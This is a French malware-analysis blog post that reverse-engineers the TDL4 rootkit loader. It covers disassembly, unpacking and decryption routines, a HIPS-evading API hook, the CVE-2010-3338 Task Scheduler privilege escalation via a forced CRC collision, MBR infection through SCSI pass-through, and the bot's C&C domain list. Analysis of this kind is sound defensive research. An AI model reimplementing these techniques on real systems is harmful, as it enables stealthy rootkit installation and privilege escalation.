TDL4 from scratch to ...
Introduction
J'étais assez saouled de reverse des malwares appartenant aux familles des WinLocker, je voulais quelque chose de plus évolué, afin de découvrir / apprendre un maximum de choses, et pouvoir réellement m'amuser.J'ai donc décidé de m'attaquer à TDL4, qui peut se nommer aussi TDSS, Alureon.DX et Olmarik, en fonction des différents éditeurs d'anti - virus.
Je vais découper tout ce travail en plusieurs parties étant donné le nombre ( impréssionant ? ) d'éléments qui le composent (dll 32 / 64, driver 32 / 64, ... etc ...).
Ce qu'il faut savoir aussi c'est que TDL4 est le premier rootkit compatible avec les sytèmes 64bits, il utilise un bootkit afin de pouvoir charger son driver64 en bypassant la signature des drivers qui est apparu à l'arrivé de ses systèmes.
Ce premier article visera le loader, je vous souhaite une excellente lecture.
Informations sur le loader
Le loader que j'ai récupéré provient d'un site de crack / serial bien foireux.keygen_v.45.23.4.exe 121K
MD5 = 31db7a22df02e1a91db9afda4f02f3bf
SHA1 = 6ede4482be1b06c90cca93bedf3e363c096102f5
SHA256 = ba670c68a7e481c324bdc2e8c5c8c1c8ddc4a2772e991826771350ea8e03f2ce
Le rapport de virus total ici (39 / 43).Avant de commencer à étudier le comportement du loader, on va d'abord étudier le packer utilisé par cette exécutable et le développement d'un unpacker qui s'avèrera fort utile pour unpacker d'autres éléments qui composent TDL4.
U*P*C*ME I'm famous
La première chose flagrante est ce test au tout début du disas :.text:00401792 mov eax, [ebp+arg_4]
.text:00401795 cmp eax, 2
.text:00401798 jz loc_4017F3
.text:0040179E cmp eax, ebx
.text:004017A0 jnz loc_4017B3
.text:004017A6 test [ebp+arg_8], 0FFFFFFFEh
.text:004017AD jz loc_4017F3
.text:004017B3
.text:004017B3 loc_4017B3: ; CODE XREF: start+96j
.text:004017B3 cmp eax, 1
.text:004017B6 jnz loc_4017CF
.text:004017BC push 64h ; int
.text:004017BE push [ebp+arg_8] ; int
.text:004017C1 push eax ; int
.text:004017C2 push [ebp+hLibModule] ; hInstance
.text:004017C5 call sub_401207
.text:004017CA jmp loc_401818
.text:004017CF ; ---------------------------------------------------------------------------
.text:004017CF
.text:004017CF loc_4017CF: ; CODE XREF: start+ACj
.text:004017CF cmp eax, 3
.text:004017D2 jz loc_401818
.text:004017D8 push 0 ; int
.text:004017DA push 0 ; int
.text:004017DC push 0 ; int
.text:004017DE push 0 ; hInstance
.text:004017E0 call sub_401207
On peut voir directement que la sub_401207 ne va pas être appelé avec les memes arguments si le deuxième argument sur la stack au moment du start du thread est égale à 1 ou qu'il est différent de 3.Gardez cela en tête ca nous servira plus tard.
Le deuxième truc fun qu'on peut rencontrer dans le loader plus loin, c'est l'appel à une API ( non documented ? ) :
.text:00401251 push edi
.text:00401252 mov eax, ds:RegisterMessagePumpHook
.text:00401258 call eax ; RegisterMessagePumpHook
.text:0040125A cmp ebx, edi
.text:0040125C jz loc_40126C
.text:00401262 cmp [ebp+arg_4], 1
.text:00401266 jnz loc_401452
.text:0040126C
.text:0040126C loc_40126C: ; CODE XREF: sub_401207+55j
.text:0040126C call esi ; GetLastError
.text:0040126E cmp eax, 57h
Je suppose (et je dis bien je suppose) que ce call est fait pour vérifier que le programme ne tourne pas dans un émulateur (wine par exemple), ou encore dans un environnement sandboxed qui n'aurait pas implémenté cette API.Continuons dans les hostilités :
.text:00401296 push 5194805h ; Hash VirtualProtect
.text:0040129B mov ebx, eax
.text:0040129D call get_addr_base_kernel32
.text:004012A2 push eax
.text:004012A3 call resolve_addr_from_hash
.text:004012A8 lea ecx, [ebp+hInstance]
.text:004012AB push ecx ; pOldProtect
.text:004012AC push 40h ; PAGE_EXECUTE_READWRITE
.text:004012AE push esi ; Size
.text:004012AF push ebx ; Addr
.text:004012B0 call eax ; VirtualProtect
.text:004012B2 mov esi, 10000h
.text:004012B7 mov [ebp+var_54], edi
.text:004012BA mov ebx, esi
.text:004012BC
.text:004012BC loop_virtual_alloc: ; CODE XREF: sub_401207+E5j
.text:004012BC mov eax, [ebp+Addr_base_main_module]
.text:004012BF add eax, ebx
.text:004012C1 push 19971FF4h ; VirtualAlloc
.text:004012C6 mov [ebp+var_4], eax
.text:004012C9 call get_addr_base_kernel32
.text:004012CE push eax
.text:004012CF call resolve_addr_from_hash
.text:004012D4 push 40h ; PAGE_EXECUTE_READWRITE
.text:004012D6 push 3000h ; MEM_COMMIT | MEM_RELEASE
.text:004012DB push 100000h ; Size
.text:004012E0 push [ebp+var_4]
.text:004012E3 call eax
.text:004012E5 add ebx, esi
.text:004012E7 mov [ebp+var_54], eax
.text:004012EA cmp eax, edi
.text:004012EC jz loop_virtual_alloc
La fonction get_base_addr_kernel :
- Récupération du PEB.
- Récupération du champ Ldr de type _PEB_LDR_DATA.
- Récupération de la liste doublement chaîné InInitializationOrderModuleList.
- Vérifie que le premiere caractère du buffer BaseDllName est 'k' (aka kernel32.dll).
La fonction resolve_addr_from_hash :
- Récupération de la table des exports.
- Récupération du tableau AddressOfNames.
- Pour chaque entré calcule le hash et le compare avec celui désiré
for (i = 0; i < strlen(argv[1]) - 1; i++)
{
a = ROL(hash, hash & 0xF);
hash = a + GETINT16(argv[1] + strlen(argv[1]) - i - 1) + 0x514;
}
if (hash & 0x80000000)
hash = strlen(argv[1]) + (hash & 0x7FFF0000 | 0x1FE8);
printf("Hash = %x\n", hash);
On teste notre code et c'est bien celà (ces hashs font bien partis de notre disas) :
C:\temp>a.exe VirtualAlloc
Hash = 0x19971ff4
C:\temp>a.exe VirtualProtect
Hash = 0x5194805
VirtualAlloc(), qu'on peut voir appelé en 0x004012E3, sera appelé plusieurs fois jusqu'à ce que l'adresse désiré soit disponible.Une fois la mémoire alloué à l'adresse désiré on rentre dans le vif du sujet :
.text:004012F2 lea esi, [ebp+var_54]
.text:004012F5 call Stage1_decypher
La première étape de la fonction stage1_decypher est de recopier 0x28 octets depuis l'addr : ImageBase + ( NumberOfSymbols + 0x14 ) dans un espace réservé sur la stack.Nous allons appeler ce "block" le block_0.
La deuxième étape est l'appel à la routine suivante :
; =============== S U B R O U T I N E =======================================
.text:004011C0
.text:004011C0 ; Attributes: bp-based frame
.text:004011C0
.text:004011C0 Decrypt_func proc near ; CODE XREF: Stage1_decypher+30p
.text:004011C0 ; Stage2_decypher+6Fp ...
.text:004011C0
.text:004011C0 arg_0 = dword ptr 8
.text:004011C0 size = dword ptr 0Ch
.text:004011C0 key_decrypt = dword ptr 10h
.text:004011C0
.text:004011C0 push ebp
.text:004011C1 mov ebp, esp
.text:004011C3 cmp [ebp+size], 4
.text:004011C7 push esi
.text:004011C8 push edi
.text:004011C9 jb loc_401201
.text:004011CF mov esi, [ebp+arg_0]
.text:004011D2 mov edi, esi
.text:004011D4 mov ecx, [ebp+size]
.text:004011D7 push dword ptr [ebp+key_decrypt]
.text:004011DA pop [ebp+arg_0]
.text:004011DD sub ecx, 3
.text:004011E0
.text:004011E0 loc_4011E0: ; CODE XREF: Decrypt_func+3Bj
.text:004011E0 lodsd
.text:004011E1 mov edi, edi
.text:004011E3 xor eax, [ebp+arg_0]
.text:004011E6 mov eax, eax
.text:004011E8 stosd
.text:004011E9 mov eax, eax
.text:004011EB sub esi, 3
.text:004011EE sub edi, 3
.text:004011F1 ror [ebp+arg_0], 9
.text:004011F5 sub [ebp+arg_0], ecx
.text:004011F8 dec ecx
.text:004011F9 mov eax, eax
.text:004011FB jnz loc_4011E0
.text:00401201
.text:00401201 loc_401201: ; CODE XREF: Decrypt_func+9j
.text:00401201 pop edi
.text:00401202 pop esi
.text:00401203 pop ebp
.text:00401204 retn 0Ch
.text:00401204 Decrypt_func endp
La fonction va simplement boucler de size - 3 sur le buffer, et convertir en int32 le contenu du buffer à la position actuelle, pour le xorer avec la clef, et remettre ce résultat dans le buffer, ror de 9 la clef et lui soustraire la size.Ici la clef utilisé est en dur : 0x2FCCA34E ( cette clef sera aussi utilisé pour d'autres composants ).
Afin d'éviter de flood ce post de disas, ce qui peut être chiant et surement pas très intéressant au final, je vais finir d'expliquer le deciphering de notre block_0 à la mano :
Suite au premier Xor & compagie, des valeurs au sein du block_0 vont etre permutés, multipliés, additionés dans tous les sens, voici un petit schéma explicatif de la chose :
Ensuite on va recopier dans notre espace préalablement alloué une série de block à différents offset du binaire actuel.
.text:0040161A mov [ebp+index_block], 4
.text:00401621
.text:00401621 loc_401621: ; CODE XREF: Stage1_decypher+97j
.text:00401621 mov edi, [ebx+0Ch]
.text:00401624 mov ecx, [ebp+var_4]
.text:00401627 lea edx, [ebx+14h]
.text:0040162A call Copy_it
.text:0040162F mov eax, [ebx+0Ch]
.text:00401632 mov ebx, [ebx+10h]
.text:00401635 add [ebp+var_4], eax
.text:00401638 xor ebx, 521D558h
.text:0040163E add ebx, [esi+8]
.text:00401641 dec [ebp+index_block]
.text:00401644 jnz loc_401621
On peut voir clairement que ca va boucler 4 fois donc, copier 4 blocks.Afin de vous faciliter la tâche, voici un petit schéma de la chose, bien sur l'argument final_block du memcpy et incrémenté de la size à chaque tour :
Maitenant que nous avons ces 2 éléments ( block_0 et block_final ), nous allons passer à la fonction Stage2_decypher ( que j'ai nommé de la sorte ).
Mais d'abord, pour la suite des opérations, on va définir un type de donné propre à notre block_0 :
typedef struct
{
t_uint32 val_0;
t_uint32 val_4;
t_uint32 size;
t_uint32 SizeOfImage;
t_uint32 key;
t_uint32 val_14;
t_uint32 val_18;
t_uint32 size2;
t_uint32 val_loop;
t_uint32 val_24;
} s_block_0;
typedef union
{
char buf[0x28];
s_block_0 sb0;
} u_block_0;
Les champs de la structure s_block_0 qui n'ont pas de nom explicite, ce n'est pas un failed de ma part, ce sont leur offset dans leur block_0, mais c'est surtout qu'ils ne sont pas utilisés.Et ils sont de plus non indispensables pour écrire l'unpacker.
Bon revenons sur la fonction Stage2_decypher, si vous l'avez pas déjà remarqué, la fonction decrypt_func ( 0x004011C0 ), utilise un algo de chiffrement symétrique.
Les auteurs de TDL4, je ne sais pas pourquoi ils ont fait celà, ou je ne connais pas la raison au vue de mes connaissances failbes en crypto, vont bruteforcer, la clef à utiliser pour decrypt block_final une première fois, en calculant un hash pour chaque chifrrement à partir d'une clef qui start de 0 et va en 0xFFFFFFF, puis rapelerons decrypt_func avec le champ key de la struct s_block_0.
Un exemple de code serait le bienvenue me direz vous :
while (res != block0.sb0.val_loop)
{
decrypt_func(final_block + 0x28, block0.sb0.size, key);
res = compute_wtf_hash(final_block + 0x28, block0.sb0.size);
decrypt_func(final_block + 0x28, block0.sb0.size, key++);
}
key = key - 1;
decrypt_func(final_block + 0x28, block0.sb0.size, key);
Je vous file aussi le code de la fonction compute_wtf_hash ( sub_00401652 ), oui elle se nomme de la sorte car j'ai halluciné en reversant cette fonction :
int compute_wtf_hash(char *addr, size_t size)
{
int val = -2;
int res = 0;
int i;
for (i = 0; i < size; i++)
{
res = (val + 0x368D5CB4) *
(16 * ~(val + 0x368D5CB4) * (~((addr[i] & 0xff) *
rol(1, val & 0xf))+ 0x2C) + 0x368D5CB6) - 1;
val = res;
}
return (res);
}
Ensuite, il va soustraire au champ size (de la struct block_0) la valeur du champ size2, ce champ devrait maitenant plutôt s'apeller offset maitenant.Pour ceux qui ne le savent pas UCL est un algorithme de compression qui est utilisé dans UPX. Si l'on s'en tient à wikipedia ( "Cette amorce tient sur moins de 200 octets." ), ca match bien avec le schéma ci-dessus.
Ils vont donc appeller ce code, afin de décompresser le PE qui réside en mémoire.
Ce qui est amusant c'est que les auteurs de TDL4 ont ( c'est n'est qu'un avis personnel ) découpés le code d'upx, pris le stub d'UCL, car après on les voit reconstruire leur IAT à la main à coup de GetProcAddress.
Alors que UPX fait le tout en un.
On les voit ensuite sauter sur le point d'entré du PE décompressé. Bref, nous voilà enfin avec notre éxécutable unpack, un petit hexdump à titre d'information ici de mon unpacker :
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......
....N...N...N...!...O...!...O...G.3.O...G.#.L.......[...N...+...!...L...!.-.O...RichN...................PE..L......L............
.....*...z.......9.......@....@.................................J........................................M......................
.................................................................@...............................text....).......*..............
.... ..`.rdata.......@......................@..@.data........`.......F..............@....config.6...........................@...
.reloc..~...........................@..B........................................................................................
Dans leur code, il fix aussi des offsets à la main car le pe n'est pas situé à sa BaseAdress, mais à un endroit alloué, notre unpacker devra de ce fait aussi fix chaque sections du binaire unpack tout particulièrement les champs PtrToRawData, qui devront être égales au champ VirtualAddress.Nous sommmes maitenant en mesure de travailler proprement avec le binaire unpack ( ce qui est quand meme plus pratique ).
Voici le code complet de mon unpacker :
Unpacked PE
Maitenant que nous avons notre PE unpack, voyons voir le point d'éntrée :En fait vous vous rapellez au début du post j'ai parlé du fait que la fonction sub_401207 ne sera pas appelé de la même manière, en fait nous le reverrons plus loin, mais en fonction des arguments push, il y aura 2 flots d'éxécution différent.
Typiquement, un appel à sub_4033C6, ou un CreateThread() avec comme paramètre lpStartAddress l'offset 0x004037B6. Afin de vous éclaircir, le PE en question est en fait à la fois un éxécutable et une DLL ( nous verrons ca après ).
Nous allons d'abord travailler sur le binaire éxécutable.
Unpacked Version Exe
Donc commencons à étudier, la sub_4033C6, la première chose qu'elle va faire et tester si le système tourne en 32 ou 64 bits à l'aide de l'api IsWow64Process().A l'aide de la succession d'appel aux api suivantes : GetTempPath(), GetTempFileNameW() , GetMappedFileName(), CreateFile() , CreateFileMappingA(), MapViewOfFile(), il va venir se recopier dans le répertoire, mais avec une subtilité en plus.
.text:004034FD call ds:RtlImageNtHeader
.text:00403503 mov edi, eax
.text:00403505 mov eax, 2000h
.text:0040350A or [edi+16h], ax
Il va changer la valeur du champ Characteristics du IMAGE_FILE_HEADER, afin que le fichier soit reconnu comme une DLL.On peut le voir sauvegarder la date de crétion du fichier à l'aide de l'api GetSystemTimeAsFileTime().
.text:00403602 push Wrapper_VirtualAlloc ; int
.text:00403607 push offset Wrapper_VirtualProtect ; int
.text:0040360C push offset dword_410EC4 ; Allocated_memory
.text:00403611 push offset HOOK_FUNC ; int
.text:00403616 lea eax, [ebp+pPrintProvidorName]
.text:0040361C mov dword ptr [ebp+pProvidorInfo], eax
.text:0040361F push offset aZwconnectport ; "ZwConnectPort"
.text:00403624 lea eax, [ebp+FileName]
.text:0040362A push offset aNtdll_dll_2 ; "ntdll.dll"
.text:0040362F mov [ebp+var_14], esi
.text:00403632 mov [ebp+var_10], eax
.text:00403635 call ds:GetModuleHandleA
.text:0040363B push eax ; hModule
.text:0040363C call ds:GetProcAddress
.text:00403642 push eax ; Dst
.text:00403643 call Setup_hook
On commence à trouver des chose intéressantes, comme la mise en place d'un hook sur l'api ZwConnectPort(), pour remplacer la valeur de l'argument ServerPortName "\\RPC Control\\spoolss" par "\\??\\GLOBALROOT\\RPC Control\\spoolss", ce qui lui permet de bypasser les (la plupart ?) HIPS.Doc de la fonction sur undocumented.
Petit schéma du hook qu'il met en place :
En fait il met en place ce Hook car juste aprè il fait appel à la fonction AddPrintProvidor(), ce qui lui permettra de charger sans aucun soucis sa dll préalablement recopié dans le répertoire temporaire.
- pName sera égale au résultat de l'api GetSystemTimeAsFileTime().
- Level égale à 1.
- pProviderInfo sera un pointeur sur une structure de type _PROVIDOR_INFO_1 avec son champ pDLLName rempli avec le nom de la DLL.
Bien sûr si la fonction AddPrintProvidor() échoue, il va start le service d'impression ("spooler").
Il faudrait logiquement que je dérive mon analyse vers le flot d'éxécution de la dll, mais nous allons finir d'abord l'analyse complète du loader.
CVE-2010-3338
Si il n'arrive pas à éxécuter des tâches qui requièrent les droits admin, il va exploiter la CVE-2010-3338, où le problème se situe dans le scheduler du task manager.Ce qui était assez nouveau c'est que tout le code de la CVE est du C++, c'était folklo pour un de mes premiers reverse de C++...
La première chose qu'il va faire c'est l'appel à la fonction CoCreateInstance(), avec comme riid {2FABA4C7-4DA9-4013-9697-20CC3FD40F85} ( correspondant au ITaskService ), et rclsid {0F87369F-A4E5-4CFC-BD3E-73E6154572DD} ( correspondant à la classe TaskScheduler ).
Il fera ensuite appel à la méthode Connect(), afin de se connecter à la machine local, pour que tous les appels suivants soient destinés à la machine locale.
Il récupèrera ensuite le root directory du taskmanager par l'appel à GetFolder() avec comme path "\\".
Il créera une nouvelle tâche avec la méthode NewTask(), et donc instancie un objet de type ITaskDefinition.
L'objet ITaskDefinition va lui servir à récupérer un objet de type IActionCollection par le biais de la méthode get_Actions().
Il créera la tâche ensuite avec Create() et de type TASK_ACTION_EXEC.
Puis en interrogeant le GUID {4C3D624D-FD6B-49A3-B9B7-09CB3CD3F047} (IExecAction), il ajoutera au path de la tâche le chemin vers son éxécutable qu'il s'est recopié préalablement dans le temp directory.
Pour résumer la chose voici le début du code :
ITaskService *task; ITaskFolder *folder; ITaskDefinition *def; IActionCollection *collec; IAction *action; IExecAction *exec_action; CoCreateInstance(task, riid_taskservice, 1, 0, rclsid_tasksheduler); task->Connect(0, 0, 0, 0); task->GetFolder("\\", folder); folder->NewTask(0, def); def->get_Actions(collec); collec->Create(TASK_ACTION_EXEC, action); action->QueryInterface(guid_ExecAction, exec_action); exec_action->put_Path(<path_to_executable>);Une fois sa tâche register, il va aller récupérer le fichier xml qui lui est associé dans le dossier "\\??\\globalroot\\systemroot\\system32\\tasks\%x", avec %x le nom de la tâche.
Il remplacera au sein de ce fichier, la valeur id de la balise Principal par "LocalSystem".
Ansi que le contenu de la balise <UserId> par S-1-5-18 ( qui est l'identifiant par défaut utilisée par le système ou les services ).
Le contenu de la balise <RunLevel> sera aussi changé en HighestAvailable.
En fait si vous vous amusez à regarder la dll schedsvc.dll, vous verrez que pour éxécuter une tâche il apelera sans cesse la méthode :
.text:701C42CA call ?LoadFileToBuffer@JobStore@@SGJPAXAAV?$AutoVectorPtr@G@wmi@@@Z ; JobStore::LoadFileToBuffer(void *,wmi::AutoVectorPtr<ushort> &) .text:701C42CF cmp eax, ebx .text:701C42D1 mov [ebp-14h], eax .text:701C42D4 jl short loc_701C4316 .text:701C42D6 push dword ptr [esi] ; unsigned __int8 * .text:701C42D8 call ?ComputeCRC@JobStore@@SGKPBG@Z ; JobStore::ComputeCRC(ushort const *)Afin de vérifier si le fichier xml est valide ou non.
Il suffit donc en fait de créer une collision sur le CRC32 calculcé.
De ce fait ils écrivent à la fin du fichier la chaîne "<!--%x-->" avec %x un dword qu'il bruteforce jusqu'à créer la collision.
La tâche est ensuite éxéte avec les privilèves système, ce qui lui permettra de lancer toutes les actions décrites plus haut.
Another way
Si la CVE est patché, il y a un truc que j'ai trouvé très marrant, c'est le fait que si l'api AddPrintProvidor() échoue sans set l'error code RPC_S_SERVER_UNAVAILABLE ( 0x6BA ) ou que l'api OpenSCManager() ( call pour start le service d'impression ) set l'error code ERROR_ACCESS_DENIED ( 0x5 ), alors le PE va créer 2 fichiers dans le dossier temporaire :- setup_xxx.exe, avec xxx la valeur de la structure _FILETIME rempli par GetSystemTimeAsFileTime(), lors de la création du fichier manifeste.
- setup_xxx.exe.manifest avec xxx la même valeur que précédemment.
Voici le contenu du fichier manifest, qui demandera à l'utilisateur les droits Administrateur afin de lancer l'éxécutable par l'appel d'un ShellExecute :
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<ms_asmv2:trustInfo xmlns:ms_asmv2="urn:schemas-microsoft-com:asm.v2">
<ms_asmv2:security><ms_asmv2:requestedPrivileges>
<ms_asmv2:requestedExecutionLevel level="requireAdministrator">
</ms_asmv2:requestedExecutionLevel></ms_asmv2:requestedPrivileges>
</ms_asmv2:security>
</ms_asmv2:trustInfo>
</assembly>
Si aucune de ces code d'erreurs n'a été mis en place, il va DeletePrintProvidor() et DeleteFile(), puis si l'éxécutable tourne sur un sytème 64 bits, alors il va faire appel à la sub 0x00403338.Au sein de cette sub la suite des opérations est assez simple, il va décrypter chacun des futurs modules que nous étudierons bien sûr :
.rdata:004048AC ; char Source[]
.rdata:004048AC Source db 'cfg.ini',0 ; DATA XREF: conf_and_rc4_and_write+366o
.rdata:004048B4 ; char aMbr[]
.rdata:004048B4 aMbr db 'mbr',0 ; DATA XREF: conf_and_rc4_and_write+38Do
.rdata:004048B8 ; char aLdr16[]
.rdata:004048B8 aLdr16 db 'ldr16',0 ; DATA XREF: conf_and_rc4_and_write+3B1o
.rdata:004048BE align 10h
.rdata:004048C0 ; char aLdr32[]
.rdata:004048C0 aLdr32 db 'ldr32',0 ; DATA XREF: conf_and_rc4_and_write+3D5o
.rdata:004048C6 align 4
.rdata:004048C8 ; char aLdr64[]
.rdata:004048C8 aLdr64 db 'ldr64',0 ; DATA XREF: conf_and_rc4_and_write+3F9o
.rdata:004048CE align 10h
.rdata:004048D0 ; char aDrv32[]
.rdata:004048D0 aDrv32 db 'drv32',0 ; DATA XREF: conf_and_rc4_and_write+419o
.rdata:004048D6 align 4
.rdata:004048D8 ; char aDrv64[]
.rdata:004048D8 aDrv64 db 'drv64',0 ; DATA XREF: conf_and_rc4_and_write+43Eo
.rdata:004048DE align 10h
.rdata:004048E0 ; char aCmd_dll[]
.rdata:004048E0 aCmd_dll db 'cmd.dll',0 ; DATA XREF: conf_and_rc4_and_write+45Fo
.rdata:004048E8 ; char aCmd64_dll[]
.rdata:004048E8 aCmd64_dll db 'cmd64.dll',0 ; DATA XREF: conf_and_rc4_and_write+480o
.rdata:004048F2 align 4
.rdata:004048F4 ; char aBckfg_tmp[]
.rdata:004048F4 aBckfg_tmp db 'bckfg.tmp',0 ; DATA XREF: conf_and_rc4_and_write+4A1o
Ici l'agorithme de chiffrement pour chacun des modules utilisé est RC4, donc rien de bien compliqué à recoder.Certains de ces modules sont présents dans la section .config du PE unpack.
Les modules à déchiffrer, sont de la forme suivante, et utilisera la size comme clef de déchiffrement :
Dans le cas de la version que j'ai, il y a 4 blocks qui font parties de la section .config.
- Un Driver ( drv32 )
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......
[!...@...@...@...H...@...H...@...@...@...H...@...H..=@...H...@...H...@..Rich.@..........PE..L......K.................$...4......
.........@...............................................................................B..(....B..............................
....z............................................................................text....".......$.................. ..`.rdata..
.....@.......(..............@..@.abc.........P.........................@.data........`.......0..............@....rsrc...n(...p..
.*...2..............@..@.reloc...............\..............@..B................................................................
Avec au sein de celui-ci des strings assez amusantes ( issus de la bible ? ) :
.e...b.u.r.n.i.n.g.,.......................s.c.a.l.l.,...l.o.o.k.,....................................s.h.u.t...W.h.e.n...he.u.n
.c.l.e.a.n.:................the.l.e.p.r.o.s.y.................................r.i.s.i.n.g.,...s.p.r.e.a.d...t.h.e...And.........
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......
^.{...............................................H.............................Rich............................PE..L.... .L....
.......!.....`................................................... ............@.................................................
........................................................................................................UPX0....................
................UPX1.....`.......R..................@...UPX2.................V..............@...................................
https://rukkeianno.com/;https://kangojim1.com/;https://lkaturi71.com/;https://neywrika.in/;https://86b6b6b6.com/|http://skolewch
o.com/;http://jikdooyt0.com/;http://swltcho81.com/;http://switcho81.com/;http://rammyjuke.com/|http://cri71ki813ck.com/
30212;3;14.12.2010 3:24:38;.....
https://86b6b96b.com/;https://lkaturl11.com/;https://kangojjm1.com/;https://lkaturl71.com/;https://9669b6b96b.com/|http://sk0lew
cho.com/;http://jikdoout0.com/;http://swltch0o.com/;http://switch18.com/;http://rammjyuke.com/|http://crj71ki813ck.com/|http://l
kckclckli1i.com/
Nous pouvons le voir ensuite fabriquer son fichier de config ( "cfg.ini" ) de son bot à l'aide des fonction sscanf, swprintf :
[main]..
aid=30212..
sid=3..
[inject]..
*=cmd.dll..
*(x64)=cmd64.dll..
[cmd]..
srv=https://rukkeianno.com/;https://kangojim1.com/;https://lkaturi71.com/;https://neywrika.in/;https://86b6b6b6.com/..
wsrv=http://skolewcho.com/;http://jikdooyt0.com/;http://swltcho81.com/;http://switcho81.com/;http://rammyjuke.com/..
psrv=http://cri71ki813ck.com/
Passons aux prochains modules à extract, le problème est qui fait grave chier pour mon unpacker, c'est que les prochains modules à extract sont à des offsets en dur dans la section .data, résultat obligé de déclarer en dur :int tab_offset[] = {0x8, 0x1C0, 0x628, 0x1268, 0x20B0, 0x7EC0};
int tab_size[] = {0x1B2, 0x466, 0x0C3E, 0x0E48, 0x5E0A, 0x3000};
On va distinguer chacun des blocks extract par leur nom :
- MBR
- ldr16
- ldr32
- ldr64
- drv64
- cmd64.dll
Ce qui devient vraiment intéressant par la suite est la sub 0x004015B6 :
- Ouvre un handle sur "\\??\\c:" à l'aide de ZwOpenFile().
- À partir du handle et de la fonction ZwDeviceIoControlFile() en passant comme IoControlCode 0x560000 ( IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS ), il va récupérer le numéro du device.
- Il prépare ensuite le nom du disque physique à l'aide de la fonction snwprintf et de la chaîne de format "\\??\\physicaldrive%d".
- Et va ouvrir un handle dessus avec ZwOpenFile().
Si on regarde juste après, il test si le handle est valide, si il l'est alors il apelle une première fois la sub en 0x00401B63.
Avant de rentrer dans les détails de cette sub je vous invite à lire un peu de doc, car en fait toutes les écritures / lecture / récupération d'informations ( sur le disque ) se feront pas le biais de requête SCSI.
Bien regardons de plus près cette sub :
.text:00401BBB push 60h ; OutputBufferLength
.text:00401BBD mov eax, edx
.text:00401BBF shr eax, 8
.text:00401BC2 mov [esp+84h+var_3D], al
.text:00401BC6 lea eax, [esp+84h+In_Out_PutBuffer]
.text:00401BCA push eax ; OutputBuffer
.text:00401BCB push 60h ; InputBufferLength
.text:00401BCD push eax ; InputBuffer
.text:00401BCE push 4D014h ; IoControlCode IOCTL_SCSI_PASS_THROUGH_DIRECT
.text:00401BD3 lea eax, [esp+94h+IO_STATUS_BLOCK]
.text:00401BD7 push eax ; IoStatusBlock
.text:00401BD8 mov [esp+98h+var_3F], bl
.text:00401BDC xor ebx, ebx
.text:00401BDE push ebx ; ApcContext
.text:00401BDF push ebx ; ApcRoutine
.text:00401BE0 push ebx ; Event
.text:00401BE1 push [ebp+a3] ; FileHandle
.text:00401BE4 mov [esp+0A8h+var_5A], 120Ah
.text:00401BEB mov [esp+0A8h+var_48], 40h
.text:00401BF3 mov [esp+0A8h+var_50], 0Fh
.text:00401BFB mov [esp+0A8h+var_3C], dl
.text:00401BFF call ds:ZwDeviceIoControlFile
Comme dit plus haut, on voit direct le code IOCTL 0x4D014 ( IOCTL_SCSI_PASS_THROUGH_DIRECT ), qui va directement lui permettre d'envoyer des requêtes SCSI au disque physique.
Ansi que la structure qui lui est associé :
typedef struct _SCSI_PASS_THROUGH_DIRECT { USHORT Length; UCHAR ScsiStatus; UCHAR PathId; UCHAR TargetId; UCHAR Lun; UCHAR CdbLength; UCHAR SenseInfoLength; UCHAR DataIn; ULONG DataTransferLength; ULONG TimeOutValue; PVOID DataBuffer; ULONG SenseInfoOffset; UCHAR Cdb[16]; } SCSI_PASS_THROUGH_DIRECT, *PSCSI_PASS_THROUGH_DIRECT;Ce qui va surtout nous intéresser dans cette structure est son dernier champ ( Cdb ).
La premiè requête qu'il va faire est Read_Capacity_Command ( 0x25 ), ce qui va lui permettre de récupérer le nombre de secteurs du disque en question, et le garder au chaud dans un coin.
Sur la page wikipedia link précédemment, on voit comment il doit remplir le champ Cdb de la structure.
Ce qu'il faut savoir c'est que les derniers secteurs du disque ne sont jamais utilisés ( apparament ) par notre système, ce qui va lui permettre de pouvoir écrire tous ces modules tranquilement.
Deuxième chose qu'il va faire et la lecture du premier secteur à l'aide de la requête 0x28 ( Read_Command ), pour sauvegarder le mbr qu'il va infecter.
Ensuite il VirtualAlloc() avec comme paramètre size, la taille de chacun de ses modules, plus 512 ( 0x200 ) octets pour la racine de son File System.
Voici le fichier ( "ROOT" ) qu'il utilisera pour se balader dans son file system :
Et là c'est très bizard car sur des papers de l'ESET ils n'ont pas du tout, le même file system, eux ils parlent de FileBlockOffset pour mon champ que j'ai appelé Offset_nb_sector, le champ précédent et le size n'ont pas le même ordre non plus, de plus les blocks contenant de la data ne sont pas structurés pareil.
Voici mes définitions :
typedef struct file_entry { WORD Signature; /* FC */ DWORD Size; char data[]; } typedef struct file_block { char FileName[16]; DWORD Size; DWORD Offset_Nb_Sector; /* Nb sector from root directory */ FILETIME CreateTime; }file_block; typedef struct r00t_directory { WORD Signature; /* DC */ DWORD Reserved; /* Set to 0 */ file_block File[10]; }r00t_directory;Il va chiffrer chaque secteur qu'il écrit en utilisant RC4, mais avec comme clef le numéro du secteur où il se trouve.
Il écrira ensuite sur le disque avec la requête 0x2A ( Write Command ), le nouveau mbr et son file system à la fin du disque.
Nous arrivons à la fin du loader, qui finit par un appel à ZwRaiseError(), afin de créer un BSOD, et donc reboot la machine.
TDL4 AddPrintProvidor DLL
Introduction
Dans le billet précédent nous avons vu la branche d'éxécution dans le cas où le PE était sous la forme d'un éxécutable, maitenant on va voir la branche dans le cas où le PE est chargé comme une DLL à l'aide de l'API AddPrintProvidor().Dans ce cas là, l'API CreateThread() est appelé avec comme paramètre lpStartAddress l'offset 0x004037B6.
0x004037B6 Show me your b00bs
Le début de la fonction est le même cheminement que le billet précédent, on va récupérer les différents modules dans les sections .config et .data.Mais cette fois le premier élément ( driver 32 bits ), va être recopié dans le répertoire temporaire.
Afin de charger son driver, il va créer un service en se servant du FILETIME renvoyé par GetSystemTimeAsFileTime().
Le nom de service sera de la forme : "system\currentcontrolset\services\%x", avec %x remplacé par la valeur du FILETIME.
Il ajoute ensuite les sous clefs de registre :
- imagepath : qui pointera vers le fichier temporaire ( aka le driver ), en le préfixant de "\??" ( une méthode encore pour bypass les HIPS ).
- type : 1, Pilote de périphérique noyau.
Il supprimera ensuite juste après la clef racine "system\currentcontrolset\services\%x", en faisant appel à SHDeleteKey().
